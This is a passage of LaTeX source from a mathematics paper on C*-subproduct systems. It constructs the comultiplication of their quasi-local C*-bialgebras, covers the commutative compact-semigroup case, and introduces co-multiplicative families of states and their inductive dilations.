$$C^*(\mathscr {A})\otimes C^*(\mathscr {A})=\limind\, \Bigl\{(\mathcal {A}_I\otimes \mathcal {A}_J,\Delta^\times_{I, I'}\otimes \Delta^\times_{J, J'})\,|\, (I, J) \in \mathscr {P}\times \mathscr {P}\Bigr\}.$$ Furthermore, as in the proof of Theorem \ref{star-isomorphism theorem}, we make the identification $$\mathcal {A}^\sharp_{r,t}=\limind\{(\mathcal {A}_{I}\otimes \mathcal {A}_{J} ,\Delta_{I,I^{\prime}}\otimes \Delta_{J, J^{\prime}} )\,|\, (I,J) \in \mathscr {P}_{r,s}\times\mathscr {P}_{s,t}\},$$
for all $0<r<s<t$. Because $\Delta^\times_{I, I'}\otimes \Delta^\times_{J, J'}=\Delta_{I, I'}\otimes \Delta_{J, J'}$, for all $I,\, I'\in \mathscr {P}_{r,s}$, $I\subseteq I'$, and $J,\, J'\in \mathscr {P}_{s,t}$, $J\subseteq J'$, we infer from the universal property of the inductive limit that there exists a *-monomorphisms $\iota_{r,t}:\mathcal {A}^\sharp_{r,t}\to C^*(\mathscr {A})\otimes C^*(\mathscr {A})$, uniquely determined by the condition
\begin{eqnarray}\label{Nov10a}
\iota_{r,t}\Delta^\sharp_{I\cup J}= \Delta^\times_{I}\otimes \Delta^\times_{J},
\end{eqnarray}
for all $I\in\mathscr {P}_{r,s}$, $J\in \mathscr {P}_{s,t}$, and $0<r<s<t$. We claim that the diagram
\begin{eqnarray*}\label{pisubF}
\xymatrix{
\mathcal {A}_{u,v}^\sharp \ar[r]^-{\iota_{u,v}} & C^*(\mathscr {A})\otimes C^*(\mathscr {A}) \\
\mathcal {A}_{r,t}^\sharp \ar[ru]_-{\iota_{r,t}}\ar[u]^-{\Delta^\sharp_{(r,t),(u,v)}} &}
\end{eqnarray*}
commutes for all $0<u\leq r<t\leq v$, that is, $\iota_{u,v}\Delta^\sharp_{(r,t),(u,v)}=\iota_{r,t}$. Indeed, let $I\in\mathscr {P}_{r,s}$ and $J\in \mathscr {P}_{s,t}$, where $0<r<s<t$. Consider the partions $uI:=\{u\}\cup I\in\mathscr {P}_{u,s}$ and $Jv:=J\cup\{v\}\in\mathscr {P}_{s,v}$. Using Proposition \ref{March23}, we have
\begin{eqnarray*}
\iota_{u,v}\Delta^\sharp_{(r,t),(u,v)}\Delta^\sharp_{I\cup J}&=&\iota_{u,v}\Delta^\sharp_{uI\cup Jv}\Delta^\times_{I\cup J,uI\cup Jv}= (\Delta^\times_{uI}\otimes \Delta^\times_{Jv})\Delta^\times_{I\cup J,uI\cup Jv}\\
&=&(\Delta^\times_{uI}\otimes \Delta^\times_{Jv})(\Delta^\times_{I,uI}\otimes \Delta^\times_{J,Jv})= \Delta^\times_{I}\otimes \Delta^\times_{J}\\&=&
\iota_{r,t}\Delta^\sharp_{I\cup J}.
\end{eqnarray*}
Because the set $\bigcup _{(I,J)\in \mathcal {P}_{r,s}\times \mathcal {P}_{s,t}}\Delta^\sharp_{I\cup J}(\mathcal {A}_I\otimes \mathcal {A}_J)$ is everywhere dense in $\mathcal {A}_{r,t}^\sharp$, the commutativity of the diagram follows.
We then conclude, using once again the universal property of the inductive limit, that there is a unique *-monomorphism
$\iota:\mathcal {A}^{\diamond}\to C^*(\mathscr {A})\otimes C^*(\mathscr {A})$ that makes the diagram
\begin{eqnarray}\label{Nov10b}
\xymatrix{
\mathcal {A}^{\diamond} \ar[r]^-{\iota} & C^*(\mathscr {A})\otimes C^*(\mathscr {A}) \\
\mathcal {A}_{r,t}^\sharp \ar[ru]_-{\iota_{r,t}}\ar[u]^-{\Delta^{\diamond}_{r,t}} &}
\end{eqnarray}
commutative for all $0< r<t$, that is, $\iota\Delta^{\diamond}_{r,t}=\iota_{r,t}$.
Next, we compose the *-monomorphism $\iota$ with the *-isomorphism $\delta$ of Theorem \ref{March24}, thus obtaining a unital *-monorphism $\Delta:C^*(\mathscr {A})\to C^*(\mathscr {A})\otimes C^*(\mathscr {A})$,
$$\Delta=\iota\delta.$$
Using and (\ref{Nov10b}) and (\ref{Nov10a}), one can immediately see that $\Delta$ satisfies the indentity \begin{eqnarray}\label{Nov10c}\Delta\Delta^\times_{I\cup J}=\Delta^\times_I\otimes \Delta^\times_J,\end{eqnarray} for all $I\in\mathscr {P}_{r,s}$, $J\in\mathscr {P}_{s,t}$, and $0<r<s<t$. Indeed, $\Delta\Delta^\times_{I\cup J}=\iota\delta\Delta^\times_{I\cup J}=\iota\Delta^{\diamond}_{r,t}\Delta^\sharp_{I\cup J}=\iota_{r,t}\Delta^\sharp_{I\cup J}= \Delta^\times_{I}\otimes \Delta^\times_{J},$ as needed.
It remains to be shown that $\Delta$ satisfies the co-associativity law $(\Delta\otimes\operatorname {id}_{ C^*(\mathscr {A})})\Delta=(\operatorname {id}_{ C^*(\mathscr {A})}\otimes\Delta)\Delta$. For this purpose, let $I\in\mathscr {P}_{p,t}$ be an arbitrary partition, for some real numbers $0<p<t$, and let $K\in\mathscr {P}_{p,r}$, $J\in\mathscr {P}_{r,s}$, $L\in\mathscr {P}_{s,t}$ be such that $I=J\cup K\cup L$, for some real numbers $p<r<s<t$. Using (\ref{Nov10c}) repeatedly, we have\begin{eqnarray*}
\left(\Delta\otimes\operatorname {id}_{ C^*(\mathscr {A})}\right)\Delta\Delta_{I}^\times&=&\left(\Delta\otimes\operatorname {id}_{ C^*(\mathscr {A})}\right) \Delta^\times_{J\cup K}\otimes \Delta^\times_{L}
=\Delta\Delta^\times_{J\cup K}\otimes \Delta^\times_{L}\\&=&\Delta^\times_{J}\otimes \Delta^\times_K\otimes \Delta^\times_{L}.
\end{eqnarray*}
Similarly, $(\operatorname {id}_{ C^*(\mathscr {A})}\otimes\Delta)\Delta\Delta_{I}^\times=\Delta^\times_{J}\otimes \Delta^\times_K\otimes \Delta^\times_{L}$. Because the set $\bigcup_{I\in\mathscr {P}}\Delta_{I}^\times (\mathcal {A}_I)$ is everywhere dense in $C^*(\mathscr {A})$, it follows that $\Delta$ satisfies the above co-associativity law.
\end{proof}
The following result strenghten the conclusions of Proposition \ref{categorical theorem} and Corollary \ref{Nov12c}.
\begin{corollary}
Suppose that $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ and $\mathscr {B}=\left(\{\mathcal {B}_{s,t}\}_{0<s<t}, \{\Gamma_{r,s,t}\}_{0<r<s<t}\right)$ are unital $C^*$-subproduct systems. If $\{\theta_{s,t}\}_{0<s<t}$ is a unital monomorphism from $\mathscr {A}$ to $\mathscr {B}$, then the induced *-monomorphism of $C^*$-algebras $\theta:C^*(\mathscr {A})\to C^*(\mathscr {B})$, given by Proposition \ref{categorical theorem}, is a homomorphism of $C^*$-bialgebras, in the sense that $\theta$ is, in addition, co-multiplicative, i.e., $(\theta\otimes\theta)\Delta=\Gamma\theta$. In particular, if $\mathscr {A}$ and $\mathscr {B}$ are isomorphic $C^*$-subproduct systems, then their quasi-local $C^*$-bialgebras $(C^*(\mathscr {A}), \Delta)$ and $(C^*(\mathscr {B}), \Gamma)$ are isomorphic.
\end{corollary}
\begin{proof} Follows immediately from (\ref{Nov12}) and (\ref{Nov10c}).
\end{proof}
The quasi-local $C^*$-bialgebra of a unital $C^*$-subproduct system of commutative
$C^*$-algebras (see Example \ref{examp1}) can be identified and described in concrete terms. The main steps leading to this identification are outlined below.
\begin{example}\label{June08} Let $\left(\{X_{s,t}\}_{0<s<t}, \{\chi_{r,s,t}\}_{0<r<s<t} \right)$ be a two-parameter multiplicative system of compact Hausdorff spaces so that the functions $\chi_{r,s,t}$ are all surjective. For any two partitions $I,\,J\in\mathscr {P}$, $I\subseteq J$, let $\chi_{I,J}^\times: X_J\to X_I$ be the continuous surjection that is defined with respect to the decomposition $J=\underline{I}\cup I^{\times}\cup \overline{I}$ as
\begin{eqnarray}\label{vineriseara}\chi_{I,J}^\times =\left\{\begin{array}{ll}\chi_{I,J}, &\mbox{if}\;I,J\in \mathscr {P}_{s,t},\;s,t>0\\
(\chi_{I,I^{\times}})\comp(\pi_{J, I^\times}),
&\mbox{otherwise}\end{array}\right.
\end{eqnarray} where $\chi_{I,J}$ is as in Example \ref{examp11}, and $\pi_{J, I^\times}:X_J\to X_{I^\times}$ is the projection of $X_J$ onto $ X_{I^\times}.$ The resulting system $
\Bigl\{(X_I,\chi_{I,J}^\times)\,|\,I,\,J \in \mathscr {P},\; I\subseteq J\Bigr\}$
is a projective system of compact Hausdorff spaces over the partially ordered set $(\mathscr {P}, \subseteq)$, and its projective limit $$X=\limproj \Bigl\{(X_I,\chi_{I,J}^\times)\,|\,I,\,J \in \mathscr {P},\; I\subseteq J\Bigr\}$$ is a non-empty compact Hausdorff space. Moreover, the commutative $C^*$-algebra $C(X)$ is *-isomorphic to the quasi-local $C^*$-algebra $C^*(\mathscr {A}_{\operatorname {com}})$ of the unital $C^*$-subproduct system $\mathscr {A}_{\operatorname {com}}=\left(\{C(X_{s,t})\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$.
For any real numbers $0<u\leq s<t\leq v$, we also consider the continuous surjection $\chi^\sharp _{(s,t),(u,v)}: X_{u,v}^\sharp\to X_{s,t}^\sharp $, defined as $$\chi^\sharp _{(s,t),(u,v)}=\pi_{s,t}\comp \left(\operatorname {id}_{X_{u,s}^\sharp}\otimes \chi^\sharp_{s,t,v}\right)^{-1}\comp (\chi^\sharp_{u,s,v})^{-1},\;\mbox{if}\; u< s<t< v,$$ and similar to the definition of $\Delta^\sharp _{(s,t),(u,v)}$ given in Proposition \ref{Nov06} in all other cases. Here $\pi_{s,t}:X_{u,s}^\sharp\times X_{s,t}^\sharp \times X_{t,v}^\sharp \to X_{s,t}^\sharp$ is the projection onto the space $ X_{s,t}^\sharp$. The system $
\left\{ \left(X_{s,t}^\sharp, \chi^\sharp _{(s,t),(u,v)}\right)\,|\, (s,t)\in I_{(0,\infty)}\right\}$
is also a projective system of compact Hausdorff spaces over the partially ordered set $(I_{(0,\infty)},\subseteq)$, and its projective limit
$$X^{\diamond}=\limproj
\left\{ \left(X_{s,t}^\sharp, \chi^\sharp _{(s,t),(u,v)}\right)\,|\, (s,t)\in I_{(0,\infty)}\right\}$$ is a non-empty compact Hausdorff space that is homeomorphic to the space $X$. More precisely, as in Theorem \ref{March24}, there exists a unique homeomorphism $\psi:X^{\diamond}\to X$ so that the diagram
\begin{eqnarray}\label{carerra}
\xymatrix{
X^\diamond \ar[r]^-{\psi}\ar[d]_-{\chi_{s,t}^\diamond} & X\ar[d]^-{\chi^\times_{I}} \\
X^\sharp_{s,t} \ar[r]_-{\chi^\sharp_I} & X_I
}
\end{eqnarray}
commutes, for all $I\in \mathscr {P}_{s,t}$ and $0<s<t$, where $\chi_I^\times$, $\chi^\sharp_I$ and $\chi^{\diamond}_{s,t}$ are the continuous surjections given by the projective limit construction.
Analogous to the construction of the *-monomorphisms $\iota_{r,t}:\mathcal {A}^\sharp_{r,t}\to C^*(\mathscr {A})\otimes C^*(\mathscr {A})$ and $\iota:\mathcal {A}^{\diamond}\to C^*(\mathscr {A})\otimes C^*(\mathscr {A})$ in Theorem \ref{April2i}, one can construct two continuous surjections $\rho_{r,t}:X\times X\to X^\sharp_{r,t}$ and $\rho:X\times X\to X^\diamond$, uniquely determined by the conditions $\chi_{I\cup J}^\sharp\comp \rho_{r,t}=(\chi_I^\times) \times(\chi_J^\times)$, for
all $I\in\mathscr {P}_{r,s}$, $J\in \mathscr {P}_{s,t}$, and $0<r<s<t$, respectively $\chi^{\diamond}_{r,t}\comp \rho=\rho_{r,t}$, for all $0< r<t$. We then set \begin{eqnarray}\label{haiacasa}\chi=\psi\comp\rho:X\times X\to X,\end{eqnarray} and notice that $\chi^\times_{I\cup J}\comp\chi=(\chi^\times_I)\times (\chi^\times_J),$ for all $I\in\mathscr {P}_{r,s}$, $J\in\mathscr {P}_{s,t}$, and $0<r<s<t$, similar to (\ref{Nov10c}).
It can shown, as in the proof of Theorem \ref{April2i}, that $\chi$ is associative, so $(X, \chi)$ is a compact semigroup. The associated commutative $C^*$-bialgebra $(C(X), \Delta_\chi)$, where $\Delta_\chi(f)=f\comp \chi$, for all $f\in C(X)$, is isomorphic to the quasi-local $C^*$-algebra $(C^*(\mathscr {A}_{\operatorname {com}}), \Delta)$ of the unital $C^*$-subproduct system $\mathscr {A}_{\operatorname {com}}=\left(\{C(X_{s,t})\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$.
\end{example}
\section{Co-multiplicative families of states}\label{sec5.1}
Given a tensorial $C^*$- system $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$, one can consider its conjugate system $\mathscr {A}^*=\left(\{\mathcal {A}_{s,t}^*\}_{0<s<t}, \{\Delta_{r,s,t}^*\}_{0<r<s<t}\right)$, where $\mathcal {A}_{s,t}^*$ is the conjugate space of the $C^*$-algebra $\mathcal {A}_{s,t}$, for all $0<s<t$, and $\Delta_{r,s,t}^*:\mathcal {A}_{r,s}^*\overline{\odot} \mathcal {A}_{s,t}^*\to\mathcal {A}_{r,t}^*$ is the restriction of the adjoint $\Delta_{r,s,t}^*$ of $\Delta_{r,s,t}$ to the completion $\mathcal {A}_{r,s}^*\overline{\odot} \mathcal {A}_{s,t}^*$ of the algebraic tensor product $\mathcal {A}_{r,s}^*\odot \mathcal {A}_{s,t}^*$ under the adjoint norm of the injective $C^*$-norm of $\mathcal {A}_{r,s}\otimes \mathcal {A}_{s,t}$ (see \cite[Prop IV.4.10]{Tak}). The family of operators $\{\Delta_{r,s,t}^*\}_{0<r<s<t}$ thus defined satisfies the associativity law
$\Delta_{r,s,u}^*\left(\operatorname {id}_{\mathcal {A}_{r,s}^*}\otimes \Delta_{s,t,u}^*\right)=
\Delta_{r,t,u}^*\left( \Delta_{r,s,t}^*\otimes \operatorname {id}_{\mathcal {A}_{t,u}^*} \right)$, for all positive real numbers $0<r < s < t < u$, making the conjugate system $\mathscr {A}^*=\left(\{\mathcal {A}_{s,t}^*\}_{0<s<t}, \{\Delta_{r,s,t}^*\}_{0<r<s<t}\right)$ into a ``two-parameter multiplicative tensorial system of Banach spaces''.
In this last section of our article, we focus primarily on families of bounded linear functionals that are invariant with respect to the multiplication of the conjugate system, as defined below, with the main purpose of constructing Tsirelson subproduct systems of Hilbert spaces from $C^*$-subproduct systems. We incidentally note that such families can be regarded as ``units'' of the conjugate system $\mathscr {A}^*$, in analogy with the concept of unit of a measurable Arveson product system of Hilbert spaces (see \cite[Definition 3.6.1]{Arveson-book}). This analogy opens up the possibility of considering a classification scheme of tensorial $C^*$-systems into types, similar to the Arveson-Powers classification scheme of $E_0$-semigroups \cite[Definition 2.7.6]{Arveson-book}, a subject that we intend to explore thoroughly on another occasion.
\begin{definition}\label{labas}
Let $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ be a tensorial $C^*$-system. A family $\{\varphi_{s,t}\}_{0<s<t}$ of bounded linear functionals $\varphi_{s,t}\in\mathcal {A}_{s,t}^*$ is said to be co-multiplicative if they satisfy the co-multiplication law $$\varphi_{r,t}=\left(\varphi_{r,s}\otimes\varphi_{s,t} \right)\comp \Delta_{r,s,t},$$
for all real numbers $0<r<s<t$. \end{definition}
The concept of co-multiplicative families of bounded linear functionals augments the notion of idempotent state of a compact quantum semigroup \cite{FS}, as indicated below.
\begin{example}An idempotent functional of a $C^*$-bialgebra $(\mathcal {A}, \Delta)$ is a bounded linear functional $\varphi\in\mathcal {A}^*$ that satisfies the co-multiplication law \begin{eqnarray}\label{hocapoca}
(\varphi\otimes \varphi)\comp \Delta=\varphi.\end{eqnarray} If $\varphi$ is as such, then the trivial family $\{\varphi_{s,t}\}_{0<s<t}$, where $\varphi_{s,t}=\varphi$, is a co-multiplicative family of bounded linear functionals of the trivial tensorial $C^*$-system $\mathscr {A}_{\operatorname {triv}}$ associated with $(\mathcal {A}, \Delta)$, as introduced in Example \ref{quantgr}.
\end{example}
\begin{example}
Let $\mathscr {A}_{\operatorname {fin}}=\left(\{\mathscr {B}(H_{s,t}\}_{0<s<t}, \{\operatorname {ad}(U_{r,s,t})\}_{0<r<s<t}\right)$ be the $C^*$-subproduct system constructed from a Tsirelson subproduct system of finite dimensional Hilbert spaces $\mathscr {H}=\left(\{H_{s,t}\}_{0<s<t}, \{U_{r,s,t}\}_{0<r<s<t}\right)$ as in Example \ref{exa1}. For any two numbers $0<s<t$, let $\varphi_{s,t}=\operatorname {tr}$, the trace on the matrix algebra $\mathscr {B}(H_{s,t})$. Then the family $\{\varphi_{s,t}\}_{0<s<t}$ is co-multiplicative.
\end{example}
The co-multiplicative families of bounded functionals of a tensorial $C^*$-system of commutative $C^*$-algebras can be described directly in terms of their associated families of measures, as indicated in the following example.
\begin{example} Let $\mathscr {A}_{\operatorname {com}}=\left(\{C_0(X_{s,t})\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ be the tensorial $C^*$-system constructed from a two-parameter multiplicative system of locally compact Hausdorff spaces $\left(\{X_{s,t}\}_{0<s<t}, \{\chi_{r,s,t}\}_{0<r<s<t} \right)$, as in Example \ref{examp1}. The Riesz representation theorem establishes a direct correspondence between the class of co-multiplicative families $\{\varphi_{s,t}\}_{0<s<t}$ of bounded linear functionals of $\mathscr {A}_{\operatorname {com}}$ and the class of families $\{\mu_{s,t}\}_{0<s<t}$ of complex regular Borel measures $\mu_{s,t}$ on $X_{s,t}$ that satisfy the multiplication law \begin{eqnarray}\label{afinish}
\mu_{r,t}=(\chi_{r,s,t})_*(\mu_{r,s}\times \mu_{s,t}),\end{eqnarray} for all real numbers $0<r<s<t$, where $(\chi_{r,s,t})_*(\mu_{r,s}\times \mu_{s,t})$ is the pushforward measure of the product measure $\mu_{r,s}\times \mu_{s,t}$ along the function $\chi_{r,s,t}$.
A particular case worth mentioning is that of a convolution semigroup of probability measures $\{\mu_t\}_{t\geq 0}$ of $\mathbb{R}$ or, more generally, of an arbitrary locally compact group: any such convolution semigroup gives rise to the co-multiplicative family $\{\varphi_{s,t}\}_{0<s<t}$ of bounded linear functionals $\varphi_{s,t}(f)=\int f\,d\mu_{t-s}$, $f\in C_0(\mathbb{R})$, of the trivial $C^*$-subproduct system $\left(C_0(\mathbb{R}), \Delta\right)$, where $(\Delta f) (s,t)=f(s+t)$, for all $f\in C_0(\mathbb{R})$, and $s,\,t\in \mathbb{R}$.
\end{example}
Next, we investigate co-multiplicative families of states of $C^*$-subproduct systems, showing, for a start, than any such family can be naturally extended to the inductive dilation of the system.
\begin{proposition}\label{DK}
Let $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ be a $C^*$-subproduct system with inductive dilation $\mathscr {A}^\sharp=\left(\{\mathcal {A}_{s,t}^\sharp\}_{0<s<t},\,\{\Delta_{r,s,t}^\sharp\}_{0<r<s<t}\right)$. If $\{\varphi_{s,t}\}_{0<s<t}$ is a co-multiplicative family of states of $\mathscr {A}$, then there exists a unique co-multiplicative family of states $\{\varphi_{s,t}^\sharp\}_{0<s<t}$ of the $C^*$-product system $\mathscr {A}^\sharp$ such that
\begin{eqnarray}\label{Decaa}
\varphi^\sharp_{s,t}\comp \Delta^\sharp_{s,t}=\varphi_{s,t},
\end{eqnarray}
for all $0<s<t$, where $\{\Delta^\sharp_{s,t}\}_{0<s<t}$ is the inductive embedding of $\mathscr {A}$ into $\mathscr {A}^\sharp$.
\end{proposition}
\begin{proof}
Let $0<s < t$ be two fixed real numbers. For any finite partition $I\in\mathscr {P}_{s,t}$, $ I=\{s=\iota_0<\iota_1<\iota_2<\,\dots<\iota_m<\iota_{m+1}=t\}$, consider the product state $\varphi_I=\varphi_{\iota_0,\iota_1}\otimes \varphi_{\iota_1,\iota_2}\otimes \cdots \otimes \varphi_{\iota_m,\iota_{m+1}}$ of the $C^*$-algebra $\mathcal {A}_I$. We claim that the resulting system of product states $\{\varphi_I\}_{I\in\mathscr {P}_{s,t}}$ leaves the system of *-monomorphism $\{\Delta_{I,J}\}_{I\subset J\in\mathscr {P}_{s,t}}$ invariant, in the sense that
\begin{eqnarray}\label{june14}\varphi_J\comp\Delta_{I,J}=\varphi_I, \end{eqnarray}
for all $I,\, J\in\mathscr {P}_{s,t}$, $I\subseteq J$. Indeed, by writing $J=I_0\cup I_1\cup \cdots \cup I_m$ and $\Delta_{I,J}=\Delta_{\{\iota_0,\iota_1\},I_0}\otimes \cdots \otimes \Delta_{\{\iota_m,\iota_{m+1}\},I_m}$, we obtain that $$\varphi_J\comp \Delta_{I,J}=\varphi_{I_0}\comp \Delta_{\{\iota_0,\iota_1\},I_0}\otimes \cdots \otimes \varphi_{I_m}\comp \Delta_{\{\iota_m,\iota_{m+1}\},I_m}.$$ As a result, we can assume without losing generality that the partition $I$ is a trivial. Let then $I=\{s,t\}$ and $J=\{s=j_0<j_1<\iota_2<\,\dots<j_n<j_{n+1}=t\}$. Expanding $\Delta_{I,J}$ as in Remark \ref{Nov14a}, we obtain that \begin{align*}\varphi_J\comp \Delta_{I,J}&=(\varphi_{j_0,j_1}\otimes \cdots \otimes \varphi_{j_n,j_{n+1}})\comp (\Delta_{j_0,j_1,j_2}\otimes \otimes \operatorname {id}_{j_2,j_3}\otimes\cdots \operatorname {id}_{j_n,j_{n+1}})\cdots \Delta_{j_0,j_n,j_{n+1}}
\\&=[(\varphi_{j_0,j_1}\otimes \varphi_{j_1,j_2})\comp \Delta_{j_0,j_1,j_2}\otimes \varphi_{J\setminus \{j_0,j_1\}}] \Delta_{\{j_0,j_{n+1}\},J\setminus \{j_1\}}
\\&=\left(\varphi_{j_0,j_2}\otimes \varphi_{J\setminus \{j_0,j_1\}}\right)\comp \Delta_{\{j_0,j_{n+1}\},J\setminus \{j_1\}}\\&=\varphi_{J\setminus \{j_1\}}\comp \Delta_{\{j_0,j_{n+1}\},J\setminus \{j_1\}}.
\\&=\cdots\cdots\cdots\cdots\\
&=\varphi_{J\setminus \{j_1,\ldots j_{n-1}\}}\comp \Delta_{\{j_0,j_{n+1}\},J\setminus \{j_1,\ldots j_{n-1}\}}
=(\varphi_{j_0,j_n}\otimes \varphi_{j_n,j_{n+1}})\comp \Delta_{j_0,j_n,j_{n+1}}\\&=\varphi_{j_0,j_{n+1}}=\varphi_I,
\end{align*}
as claimed. Consequently, one can consider the inductive limit $$\varphi^\sharp_{s,t}:=\limind _{I\in\mathscr {P}_{s,t}}\varphi_I$$ of the family $\{\varphi_I\}_{I\in\mathscr {P}_{s,t}}$, i.e.,
the unique state $\varphi^\sharp_{s,t}$ of the $C^*$-algebra $\mathcal {A}^\sharp_{s,t}$ that satisfies the compatibility condition \begin{eqnarray}\label{hass}
\varphi_{s,t}^\sharp\comp \Delta_I^\sharp=\varphi_I,\end{eqnarray}
for all $I\in \mathscr {P}_{s,t}$.
We claim that the resulting family $\{\varphi^\sharp_{s,t}\}_{0<s<t}$ of states of the $C^*$-product system $\mathscr {A}^\sharp$ is co-multiplicative. Indeed, for any positive real numbers $0<r<s<t$ and any finite partitions $I\in \mathscr {P}_{r,s}$, $J\in \mathscr {P}_{s,t}$, one can use (\ref{compas}) to obtain that \begin{eqnarray*}
\left(\varphi_{r,s}^\sharp\otimes\varphi_{s,t}^\sharp \right)\comp \Delta_{r,s,t}^\sharp\Delta_{I\cup J}^\sharp&=& \left(\varphi_{r,s}^\sharp\otimes\varphi_{s,t}^\sharp \right)\comp\left(\Delta_I^\sharp\otimes \Delta_J^\sharp\right)=\varphi_I\otimes \varphi_J=
\varphi_{I\cup J}\\&=&\varphi_{r,t}^\sharp\comp\Delta_{I\cup J}^\sharp.\end{eqnarray*} Because the set $\bigcup _{(I,J)\in \mathcal {P}_{r,s}\times \mathcal {P}_{s,t}}\Delta^\sharp_{I\cup J}(\mathcal {A}_{I\cup J})$ is everywhere dense in $\mathcal {A}_{r,t}^\sharp$, we infer that the family $\{\varphi^\sharp_{s,t}\}_{0<s<t}$ is co-multiplicative. The uniqueness of $\{\varphi^\sharp_{s,t}\}_{0<s<t}$ in relation to (\ref{Decaa}) can be easily shown in a manner similar to that used in the proof of Proposition \ref{categorical theorem0}.
\end{proof}
\begin{definition} The co-multiplicative family of states $\{\varphi_{s,t}^\sharp\}_{0<s<t}$, constructed above, will be called the inductive dilation of the co-multiplicative family $\{\varphi_{s,t}\}_{0<s<t}$.
\end{definition}
\begin{observation}\label{May16}
Suppose that $\{\varphi_{s,t}\}_{0<s<t}$ and $\{\psi_{s,t}\}_{0<s<t}$ are two co-multiplicative families of states of a $C^*$-subproduct system $\mathscr {A}$ that are equivalent, in the sense that there is an automorphism $\{\theta_{s,t}\}_{0<s<t}$ of $\mathscr {A}$ so that $\varphi_{s,t}=\psi_{s,t}\comp\theta_{s,t}$, for all $0<s<t$. Then their inductive dilations $\{\varphi_{s,t}^\sharp\}_{0<s<t}$ and $\{\psi_{s,t}^\sharp\}_{0<s<t}$ are also equivalent, and $\varphi_{s,t}^\sharp=\psi_{s,t}^\sharp\comp\theta_{s,t}^\sharp,$ where $\{\theta_{s,t}^\sharp\}_{0<s<t}$ is the isomorphism of $\mathscr {A}^\sharp$ induced by $\{\theta_{s,t}\}_{0<s<t}$, as in Proposition \ref{categorical theorem0}.
\end{observation}
\begin{example}\label{jun17}
Let $\left(\{X_{s,t}\}_{0<s<t}, \{\chi_{r,s,t}\}_{0<r<s<t} \right)$ be a two-parameter multiplicative system of compact Hausdorff spaces so that the functions $\chi_{r,s,t}$ are all surjective. Suppose that $\{\mu_{s,t}\}_{0<s<t}$ is a family of Borel probability measures $\mu_{s,t}$ on $X_{s,t}$, $0<s<t$, which satisfies the multiplication law (\ref{afinish}). For any two positive real numbers $0<s<t$ and any partition $I=\{s=\iota_0<\iota_1<\iota_2<\,\dots<\iota_m<\iota_{m+1}=t\}\in \mathscr {P}_{s,t}$, consider the product measure $\mu_I=
\mu_{\iota_0, \iota_1}\times \mu_{\iota_1,\iota_2}\times \dots\times \mu_{\iota_m,\iota_{m+1}}$ on $X_I$. If $J\in \mathscr {P}_{s,t}$ is a refinement of $I$, then we deduce from (\ref{afinish}) that the continuous function $\chi_{I,J}$, defined by (\ref{June16}), is measure preserving, in the sense that $\mu_I=(\chi_{I,J})_*\mu_J$. Consequently, the system $
\{(X_I, \operatorname {Bor}(X_I), \mu_I)\}_{I\in \mathscr {P}_{s,t} }
$ is a projective system of probability spaces over the partially ordered set $(\mathscr {P}_{s,t}, \subseteq)$, with connecting mappings $\chi_{I, J}$.
Next, we consider the set algebra $\mathcal {M}_{s,t}=\bigcup_{I\in\mathscr {P}_{s,t}}(\chi_I^\sharp)^{-1}(\operatorname {Bor}(X_I))$ on $X^\sharp_{s,t}$, and the finitely additive set function $m_{s,t}$ on $\mathcal {M}_{s,t}$, acting as $$m_{s,t}\left((\chi_I^\sharp)^{-1}(B)\right)=\mu_I(B),$$ for every $I\in\mathscr {P}_{s,t}$ and every Borel subset $B$ of $X_I$. Because the spaces $X_I$ are all compact Hasudorff spaces and the Borel $\sigma$-algebra $\operatorname {Bor}(X_{s,t}^\sharp)$ coincides with the $\sigma$-algebra generated by $\mathcal {M}_{s,t}$, we deduce, using a classical generalization of Kolmogorov's extension theorem (see e.g. \cite{Chol}), that the set function $m_{s,t}$ can be extended to a Borel probability measure $\mu_{s,t}^\sharp$ on $X_{s,t}^\sharp$, uniquely determined by the condition $(\chi_I^\sharp)_*\mu_{s,t}^\sharp=\mu_I$, for all $I\in\mathscr {P}_{s,t}$ and $0<s<t$.
It can be easily verified that the family of Borel probability measures $\{\mu_{s,t}^\sharp\}_{0<s<t}$ thus obtained satisfies the multiplication law (\ref{afinish}) in relation to the family of homeomorphisms $\{\chi_{r,s,t}^\sharp\}_{0<r<s<t}$ introduced in Example \ref{examp11}.
The co-multiplicative family of states of the $C^*$-product system $\mathscr {A}_{\operatorname {com}}^\sharp=\left(\{C(X_{s,t}^\sharp)\}_{0<s<t},\,\{\Delta_{r,s,t}^\sharp\}_{0<r<s<t}\right)$ associated with this family of measures by means of the Riesz representation corresponds to the inductive dilation of the co-multiplicative family of states of the $C^*$-subproduct system $\mathscr {A}_{\operatorname {com}}=\left(\{C(X_{s,t})\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ that is associated with the family of measures $\{\mu_{s,t}\}_{0<s<t}$.
\end{example}
The following two results establish a direct correspondence between families of co-multiplicative states of a $C^*$-subproduct system and idempotent states of the quasi-local $C^*$-bialgebra of that system, in the sense of (\ref{hocapoca}).
\begin{proposition}\label{DK2} Let $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ be a unital $C^*$-subproduct system. If $\varphi$ is an idempotent state of the quasi-local $C^*$-bialgebra $(C^*(\mathscr {A}), \Delta)$, then the family $\{\varphi_{s,t}\}_{0<s<t}$ of marginal states \begin{eqnarray}\label{margina}\varphi_{s,t}=\varphi\comp \Delta_{s,t}^\times,\;\;\;0<s<t, \end{eqnarray} is co-multiplicative.
\end{proposition}
\begin{proof}
